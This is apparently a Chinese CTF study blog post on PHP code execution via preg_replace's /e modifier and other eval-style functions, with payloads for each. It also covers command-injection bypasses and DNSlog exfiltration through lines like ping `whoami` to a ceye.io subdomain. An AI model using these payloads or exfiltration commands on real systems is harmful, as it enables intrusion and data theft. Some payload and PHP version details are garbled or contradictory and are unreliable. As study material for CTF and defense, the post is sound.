preg_replace与代码执行

preg_replace与代码执行

事情起源于[BJDCTF 2020]ZJCTF这道题让我看到了新的东西,关键代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}
?>

代码解析:这段代码是 PHP 代码,它接受一个名为 id 的 GET 参数,并将其存储在 $_SESSION['id'] 中。

代码中定义了一个名为 complex() 的函数,该函数使用正则表达式替换来执行大小写不敏感的替换操作。具体来说,它将传入的 $str 字符串中匹配到的 $re 正则表达式的部分替换为对应的小写形式。

接下来,在 foreach 循环中,对于每个传入的 GET 参数,调用 complex() 函数并输出结果。这意味着会对传入的每个 GET 参数进行正则表达式匹配,并将匹配到的部分转换为小写形式后输出。

最后,代码定义了一个名为 getFlag() 的函数。

1
2
3
4
5
preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);

重点在这里,preg_replace()/e模式可以进行远程代码的执行。

e模式下的preg_replace可以让第二个参数’替换字符串’当作代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower("\\1")正好表达的就是匹配区的第一个(\\1=\1),从而我们如果匹配可以,则可以将函数实现。php5.5版本号以上,就废弃了preg_replace函数中/e这个修饰符。但是这个漏洞依然可能实现。?\S*=${getflag()}&cmd=system('whoami');

慎用preg_replace危险的/e修饰符(一句话后门常用)

  • 诶嘿,我又回来了,这次带着其它的危险函数回来了(bushi

代码执行常见的危险函数?

有下面的这些

eval()、preg_replace()、call_user_func()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file("./index.php");

@eval($_GET['x']);

@assert($_GET['y']);

@preg_replace ( "/ok/e", $_GET ['cmd'] , "ok");

@call_user_func($_POST[x],$_POST[y]);

@$a = create_function('$a,$b', $_POST[z]);

@$_GET['b']($_GET['c']);
?>

eval():适用于目前大多数php版本,用法如下

?x=system("whoami");

assert():适用于目前大多数php版本,用法如下

y=system("whoami");

效果和上面一样

preg_replace():效果正是我们上面讲的东西的核心原理,适用版本php7版本号以下,在匹配成功之后将把第二个参数当作代码执行。适用于目前大多数php版本

cmd=phpinfo()

call_user_func():把第一个参数作为回调函数使用,其余参数是回调函数参数。适用于目前大多数php版本

x=system&y=whoami

create_function():创建一个匿名函数,第一个参数为函数参数,第二个参数为函数代码块内容,返回值为函数名。适用于目前大多数php版本,无回显,建议弹shell。php8已删除。

z=;}phpinfo();/*

@$_GET['b']($_GET['c']):实现任意函数构造。

b=system()$c=whoami

命令注入的一些奇怪的绕过点

base64加密进行的命令执行

1
`echo 'd2hvYW1pCg==' | base64 -d`

查看文件内容的一些方法

空格的绕过点:

  1. ${IFS} ,$IFS$1
  2. 重定向: 也可以直接用重定向 <> 或者 < 来取代空格.

无回显的RCE外带(DNSlog

1
2
3
4
5
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
?>

Linux下

1
ping `whoami`.xxxxxxx.ceye.io

因为只可以显示单行代码,所以使用sed

windows下

1
ping %USERNAME%.xxxxxxx.ceye.io
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
%USERNAME%                                     返回当前登录的用户的名称。
%USERDOMAIN% 返回包含用户帐户的域的名称。
%OS% 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%USERPROFILE% 返回当前用户的配置文件的位置。
%ALLUSERSPROFILE% 返回“所有用户”配置文件的位置。
%APPDATA%    返回默认情况下应用程序存储数据的位置。
%CD% 返回当前目录字符串。
%CMDCMDLINE% 返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION% 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 返回计算机的名称。
%COMSPEC% 返回命令行解释器可执行程序的准确路径。
%DATE% 返回当前日期。
%ERRORLEVEL% 返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE% 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH% 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE% 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER% 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 指定安装在计算机上的处理器的数目。
%PATH% 指定可执行文件的搜索路径。
%PATHEXT% 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER% 返回处理器说明。
%PROCESSOR_LEVEL% 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 返回处理器的版本号。
%PROMPT% 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM% 返回 032767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 返回 Windows server operating system 根目录的位置。
%TEMP%%TMP% 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME% 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time
%WINDIR% 返回操作系统目录的位置